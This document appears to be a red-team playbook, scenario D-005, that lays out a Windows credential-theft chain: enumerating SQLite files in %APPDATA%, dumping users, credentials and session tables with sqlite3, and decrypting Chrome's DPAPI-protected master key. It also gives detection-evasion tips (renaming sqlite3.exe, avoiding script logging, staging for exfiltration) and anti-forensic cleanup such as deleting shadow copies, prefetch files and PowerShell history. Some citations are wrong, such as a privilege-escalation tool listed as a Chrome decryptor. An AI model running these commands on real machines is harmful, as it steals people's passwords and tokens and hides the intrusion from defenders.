---
name: rt-scenario-d005
description: "D-005: Desktop App SQLite Database → User Data Extraction. Domain: desktop. Attack chain: find app data directory (%APPDATA%) → locate .db or .sqlite files → open with sqlite3 → extract user credentials, session tokens, stored passwords. MITRE: T1005 → T1552.001. Real example: Password manager app: AppData/Roaming/App/data.db → sqlite3 → users table with plaintext passwords"
---

# D-005: Desktop App SQLite Database → User Data Extraction

## Overview

**Attack Objective:** Extract sensitive user data (credentials, session tokens, stored passwords) from SQLite database files left on disk by desktop applications, without triggering authentication or accessing a live service.

**Required Access Level:** Low (standard user account on the target machine; no administrator privileges required in most cases, as SQLite files in %APPDATA% are readable by the owning user).

**Estimated Time to Execute:** 10–30 minutes depending on the number of applications and database schema complexity.

**Detection Risk Level:** Low. Reading files from user-owned directories generates minimal noise. No network connections are made. Most endpoint detection products do not alert on sqlite3 CLI usage against local files unless behavior rules are explicitly configured.

---

## Prerequisites

### Required Tools

| Tool | Purpose | Install Command |
|------|---------|-----------------|
| sqlite3 CLI | Query SQLite database files | `winget install SQLite.SQLite` or download from https://sqlite.org/download.html and add to PATH |
| PowerShell 5+ | Directory traversal and file search | Built-in on Windows 10/11 |
| DB Browser for SQLite (optional) | GUI inspection of databases | `winget install DBBrowserForSQLite` |
| strings (optional) | Extract readable strings from binary blobs | Part of Sysinternals: `winget install Microsoft.Sysinternals.Strings` |

### Required Access or Conditions

- Interactive or remote shell session running as the target user account.
- The target application must have been installed and run at least once so that its database files exist.
- The %APPDATA% and %LOCALAPPDATA% directories must be accessible (they are by default for the owning user).
- If targeting another user's data, local administrator or SYSTEM-level access is required.

### Skill Level

**BEGINNER** — No exploitation skills required. This is a post-access data collection technique using standard command-line tools.

---

## Attack Chain

```
[Initial Access / Existing Session]
        |
        v
[1] Identify %APPDATA% / %LOCALAPPDATA% paths
        |
        v
[2] Enumerate .db / .sqlite / .sqlite3 files recursively
        |
        v
[3] Triage databases by name and size (target high-value apps)
        |
        v
[4] Open with sqlite3 CLI → list tables → inspect schema
        |
        v
[5] Extract: credentials, session tokens, stored passwords, PII
        |
        v
[6] Exfiltrate or document findings → cleanup artifacts
```

**MITRE ATT&CK:** T1005 (Data from Local System) → T1552.001 (Credentials in Files)

---

## Step-by-Step Execution

### Step 1 — Resolve Application Data Paths

**Command:**
```powershell
echo $env:APPDATA
echo $env:LOCALAPPDATA
echo $env:USERPROFILE
```

**Expected Output:**
```
C:\Users\TargetUser\AppData\Roaming
C:\Users\TargetUser\AppData\Local
C:\Users\TargetUser
```

**Fallback:** If environment variables are stripped (e.g., in a restricted shell), resolve manually:
```powershell
[System.Environment]::GetFolderPath('ApplicationData')
[System.Environment]::GetFolderPath('LocalApplicationData')
```

---

### Step 2 — Enumerate SQLite Database Files

**Command:**
```powershell
Get-ChildItem -Path "$env:APPDATA", "$env:LOCALAPPDATA", "$env:USERPROFILE" `
  -Include "*.db", "*.sqlite", "*.sqlite3", "*.db3", "*.s3db" `
  -Recurse -ErrorAction SilentlyContinue |
  Select-Object FullName, Length, LastWriteTime |
  Sort-Object Length -Descending |
  Format-Table -AutoSize
```

**Expected Output (sample):**
```
FullName                                                                  Length LastWriteTime
--------                                                                  ------ -------------
C:\Users\TargetUser\AppData\Roaming\SomePasswordManager\data.db        2097152 2026-05-30 14:22
C:\Users\TargetUser\AppData\Local\Google\Chrome\User Data\Default\Login Data 524288 2026-05-31 08:10
C:\Users\TargetUser\AppData\Roaming\Slack\storage\slack.db              131072 2026-05-31 07:55
```

**Fallback — CMD equivalent:**
```cmd
dir /s /b "%APPDATA%\*.db" "%LOCALAPPDATA%\*.db" "%APPDATA%\*.sqlite" "%LOCALAPPDATA%\*.sqlite" 2>nul
```

**Fallback — also search common paths explicitly:**
```powershell
$extraPaths = @(
  "$env:USERPROFILE\Documents",
  "$env:USERPROFILE\Desktop",
  "C:\ProgramData"
)
Get-ChildItem -Path $extraPaths -Include "*.db","*.sqlite","*.sqlite3" -Recurse -ErrorAction SilentlyContinue |
  Select-Object FullName, Length
```

---

### Step 3 — Triage High-Value Targets by Application Name

Look for known high-value application names in the discovered paths:

```powershell
$highValue = @(
  "Login Data",       # Chrome/Edge saved passwords
  "key4.db",          # Firefox master password store
  "logins.json",      # Firefox (companion file)
  "data.db",          # Generic password managers (1Password legacy, KeeWeb, Buttercup)
  "vault.db",         # Various password vault apps
  "Cookies",          # Browser session cookies
  "History",          # Browser history
  "session.db",       # Session stores
  "wallet.db",        # Crypto wallets
  "storage.db"        # Electron app local storage
)

Get-ChildItem -Path "$env:APPDATA", "$env:LOCALAPPDATA" -Recurse -ErrorAction SilentlyContinue |
  Where-Object { $highValue -contains $_.Name } |
  Select-Object FullName, Length, LastWriteTime
```

**Expected Output:**
```
FullName                                                                          Length  LastWriteTime
--------                                                                          ------  -------------
C:\Users\TargetUser\AppData\Local\Google\Chrome\User Data\Default\Login Data    524288  2026-05-31 08:10
C:\Users\TargetUser\AppData\Roaming\Mozilla\Firefox\Profiles\xxxx.default\key4.db 32768 2026-05-30 19:00
C:\Users\TargetUser\AppData\Roaming\SomeApp\data.db                             2097152 2026-05-30 14:22
```

**Note:** Chrome locks "Login Data" while running. Copy it first if Chrome is open:
```powershell
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" `
  -Destination "$env:TEMP\Login_Data_copy.db" -Force
```

---

### Step 4 — Open Database and List Tables

**Command (sqlite3 CLI):**
```powershell
sqlite3 "C:\Users\TargetUser\AppData\Roaming\SomeApp\data.db" ".tables"
```

**Expected Output:**
```
credentials   sessions   users   settings   audit_log
```

**Fallback — if sqlite3 is not in PATH:**
```powershell
& "C:\Tools\sqlite3.exe" "C:\path\to\database.db" ".tables"
```

**List full schema for all tables:**
```powershell
sqlite3 "C:\path\to\database.db" ".schema"
```

**Expected Output (sample):**
```sql
CREATE TABLE users (
  id INTEGER PRIMARY KEY,
  username TEXT NOT NULL,
  password TEXT,
  email TEXT,
  created_at DATETIME
);
CREATE TABLE credentials (
  id INTEGER PRIMARY KEY,
  site_url TEXT,
  username TEXT,
  password TEXT,
  notes TEXT
);
CREATE TABLE sessions (
  id INTEGER PRIMARY KEY,
  user_id INTEGER,
  token TEXT,
  expires_at DATETIME
);
```

---

### Step 5 — Extract Credentials and Sensitive Data

**Extract all rows from the users table:**
```powershell
sqlite3 -csv -header "C:\path\to\database.db" "SELECT * FROM users;"
```

**Expected Output:**
```
id,username,password,email,created_at
1,admin,P@ssw0rd123,admin@corp.com,2025-01-15 09:00:00
2,jdoe,MySecret!99,j.doe@corp.com,2025-03-02 11:30:00
```

**Extract stored credentials/passwords:**
```powershell
sqlite3 -csv -header "C:\path\to\database.db" "SELECT site_url, username, password, notes FROM credentials;"
```

**Expected Output:**
```
site_url,username,password,notes
https://mail.corp.com,jdoe,Qwerty@2025,Work email
https://vpn.corp.com,jdoe,VPN#Pass99,Corporate VPN
https://github.com,jdoe,ghp_tokenXXXXXXX,GitHub PAT
```

**Extract active session tokens:**
```powershell
sqlite3 -csv -header "C:\path\to\database.db" "SELECT user_id, token, expires_at FROM sessions WHERE expires_at > datetime('now');"
```

**Save output to file for exfiltration:**
```powershell
sqlite3 -csv -header "C:\path\to\database.db" "SELECT * FROM credentials;" > "$env:TEMP\creds_out.csv"
sqlite3 -csv -header "C:\path\to\database.db" "SELECT * FROM users;" >> "$env:TEMP\creds_out.csv"
```

**Fallback — inspect binary/blob columns with hex:**
```powershell
sqlite3 "C:\path\to\database.db" "SELECT hex(password) FROM users;"
```

**Fallback — if data appears encrypted (Electron apps using safeStorage):**
```powershell
# Chrome/Electron apps encrypt blobs with DPAPI; use a DPAPI decryptor:
# https://github.com/login-securly/chrome-decrypt or equivalent
# Check column for DPAPI header (76 01 00 00 D0 8C 9D DF...)
sqlite3 "C:\path\to\database.db" "SELECT hex(password) FROM logins LIMIT 1;"
```

---

### Step 6 — Chrome "Login Data" Specific Extraction

Chrome stores passwords encrypted with DPAPI + AES-GCM using a master key in "Local State":

**Step 6a — Extract the encrypted key:**
```powershell
$localState = Get-Content "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State" | ConvertFrom-Json
$encryptedKey = $localState.os_crypt.encrypted_key
Write-Output $encryptedKey
```

**Step 6b — Use a Chrome password decryptor tool (authorized engagement only):**
```powershell
# Tool: https://github.com/ohpe/juicy-potato or dedicated chrome-decrypt scripts
# Alternatively use PowerShell DPAPI:
Add-Type -AssemblyName System.Security
$keyBytes = [Convert]::FromBase64String($encryptedKey)
$keyBytes = $keyBytes[5..$keyBytes.Length]  # strip DPAPI prefix "DPAPI"
$decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect(
  $keyBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
[Convert]::ToBase64String($decryptedKey)
```

**Step 6c — Query the Login Data copy:**
```powershell
sqlite3 "$env:TEMP\Login_Data_copy.db" `
  "SELECT origin_url, username_value, hex(password_value) FROM logins;"
```

---

## Real-World Reference

**Scenario:** A password manager application stores user vault data in:
```
C:\Users\TargetUser\AppData\Roaming\App\data.db
```

Upon opening with sqlite3 and running `.tables`, a `users` table is discovered:
```sql
CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT, master_key TEXT);
```

Query:
```powershell
sqlite3 -csv -header "C:\Users\TargetUser\AppData\Roaming\App\data.db" "SELECT * FROM users;"
```

Output:
```
id,username,password,master_key
1,john.doe@corp.com,P@ssword2024!,b64encodedkeyXXX
```

The `password` column contains the plaintext master password. All vault entries are then accessible by using the `master_key` to decrypt the `credentials` table entries. This has been observed in legacy builds of several open-source password managers (e.g., early Buttercup Desktop releases, misconfigured KeeWeb setups).

---

## MITRE ATT&CK Mapping

| Step | Tactic | Technique | Sub-technique | Description |
|------|--------|-----------|---------------|-------------|
| 1 — Resolve APPDATA path | Discovery | T1083 | — | File and Directory Discovery |
| 2 — Enumerate .db / .sqlite files | Discovery | T1083 | — | File and Directory Discovery |
| 3 — Triage by app name | Discovery | T1518 | T1518.001 | Software Discovery: Security Software Discovery |
| 4 — Open database, list tables | Collection | T1005 | — | Data from Local System |
| 5 — Extract credentials/tokens | Credential Access | T1552 | T1552.001 | Credentials in Files |
| 6 — Extract Chrome passwords | Credential Access | T1555 | T1555.003 | Credentials from Password Stores: Credentials from Web Browsers |
| File copy (bypass lock) | Defense Evasion | T1006 | — | Direct Volume Access (copying locked file via shadow copy) |
| Save output to %TEMP% | Collection | T1074 | T1074.001 | Data Staged: Local Data Staging |

---

## Detection & OPSEC

### How This Attack Is Detected

| Detection Vector | Signal | Tool |
|-----------------|--------|------|
| File access auditing | ReadData events on .db files in %APPDATA% | Windows Audit Policy + SIEM |
| Process creation | sqlite3.exe spawned from unusual parent (cmd, powershell) | EDR behavioral rules |
| PowerShell logging | Script block logs capturing Get-ChildItem + sqlite3 invocations | PowerShell ScriptBlock Logging |
| Sysmon Event ID 11 | FileCreate events for output files in %TEMP% | Sysmon + SIEM |
| Sysmon Event ID 1 | sqlite3.exe process creation with database file path as argument | Sysmon |
| AV heuristics | Known Chrome password extraction tools flagged as hacktool | Windows Defender |

### How to Reduce Detection Risk During Authorized Engagement

- **Rename sqlite3.exe** to a generic name (e.g., `dbutil.exe`) to avoid name-based process detection rules.
- **Run from a user context** that is expected to access the target application — avoid running as SYSTEM or Administrator unnecessarily.
- **Avoid PowerShell ScriptBlock logging bypass** — instead, use compiled binaries or inline C# to query SQLite, reducing PS logging exposure.
- **Work in memory where possible** — avoid writing extracted data to disk. Pipe output directly to an exfiltration channel:
  ```powershell
  sqlite3 "C:\path\to\database.db" "SELECT * FROM credentials;" | Out-String
  ```
- **Copy locked files via Volume Shadow Copy** rather than direct file copy tools that may trigger alerts:
  ```powershell
  vssadmin create shadow /for=C:
  # then access via \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\...
  ```
- **Limit scope** — only query specific tables rather than dumping the entire database (reduces data volume that could trigger DLP rules).
- **Operate during business hours** — anomalous activity during off-hours is more likely to trigger alerts.

### Artifacts Left Behind

| Artifact | Location | Notes |
|----------|----------|-------|
| sqlite3.exe / dbutil.exe | Wherever you placed the binary | Must be removed |
| Output CSV / text files | %TEMP%\*.csv, %TEMP%\*.txt | Must be removed |
| Copied database files | %TEMP%\Login_Data_copy.db | Must be removed |
| PowerShell command history | %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | Must be cleared |
| Windows Prefetch | C:\Windows\Prefetch\SQLITE3.EXE-*.pf | Remains as evidence of execution; requires admin to delete |
| Windows Event Logs | Security/System/Application logs | Requires admin to clear; note clearing itself is an alert |
| Shadow copies created | VSS store | Must be deleted: `vssadmin delete shadows /all /quiet` |

---

## Cleanup

Execute the following steps after completing an authorized engagement to remove artifacts:

### Step 1 — Remove Extracted Data Files
```powershell
Remove-Item "$env:TEMP\creds_out.csv" -Force -ErrorAction SilentlyContinue
Remove-Item "$env:TEMP\Login_Data_copy.db" -Force -ErrorAction SilentlyContinue
Remove-Item "$env:TEMP\*.db" -Force -ErrorAction SilentlyContinue
Remove-Item "$env:TEMP\*.csv" -Force -ErrorAction SilentlyContinue
```

### Step 2 — Remove sqlite3 Binary (if dropped)
```powershell
Remove-Item "C:\path\where\you\placed\sqlite3.exe" -Force -ErrorAction SilentlyContinue
```

### Step 3 — Clear PowerShell Command History
```powershell
Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force -ErrorAction SilentlyContinue
Clear-History
```

### Step 4 — Delete Volume Shadow Copies (if created)
```powershell
# Requires administrator
vssadmin delete shadows /all /quiet
```

### Step 5 — Clear Prefetch (requires administrator)
```powershell
# Requires administrator
Remove-Item "C:\Windows\Prefetch\SQLITE3*" -Force -ErrorAction SilentlyContinue
Remove-Item "C:\Windows\Prefetch\DBUTIL*" -Force -ErrorAction SilentlyContinue
```

### Step 6 — Verify No Residual Files
```powershell
Get-ChildItem "$env:TEMP" | Where-Object { $_.Name -match "\.db$|\.csv$|\.sqlite$" }
```

**Expected Output:** No output (no matching files remain).

### Step 7 — Document Cleanup in Engagement Report
Record what was removed, when, and confirm no sensitive data was retained beyond the authorized engagement period.

---

## References

| Resource | URL / Source |
|----------|-------------|
| SQLite Official Documentation | https://sqlite.org/docs.html |
| SQLite CLI Download | https://sqlite.org/download.html |
| DB Browser for SQLite | https://sqlitebrowser.org/ |
| MITRE ATT&CK T1005 — Data from Local System | https://attack.mitre.org/techniques/T1005/ |
| MITRE ATT&CK T1552.001 — Credentials in Files | https://attack.mitre.org/techniques/T1552/001/ |
| MITRE ATT&CK T1555.003 — Credentials from Web Browsers | https://attack.mitre.org/techniques/T1555/003/ |
| Chrome Password Decryption (DPAPI) | https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107 |
| Sysmon Configuration Reference | https://github.com/SwiftOnSecurity/sysmon-config |
| Windows DPAPI Internals | https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.protecteddata |
| Sysinternals Strings | https://docs.microsoft.com/en-us/sysinternals/downloads/strings |
| PowerShell ScriptBlock Logging | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows |
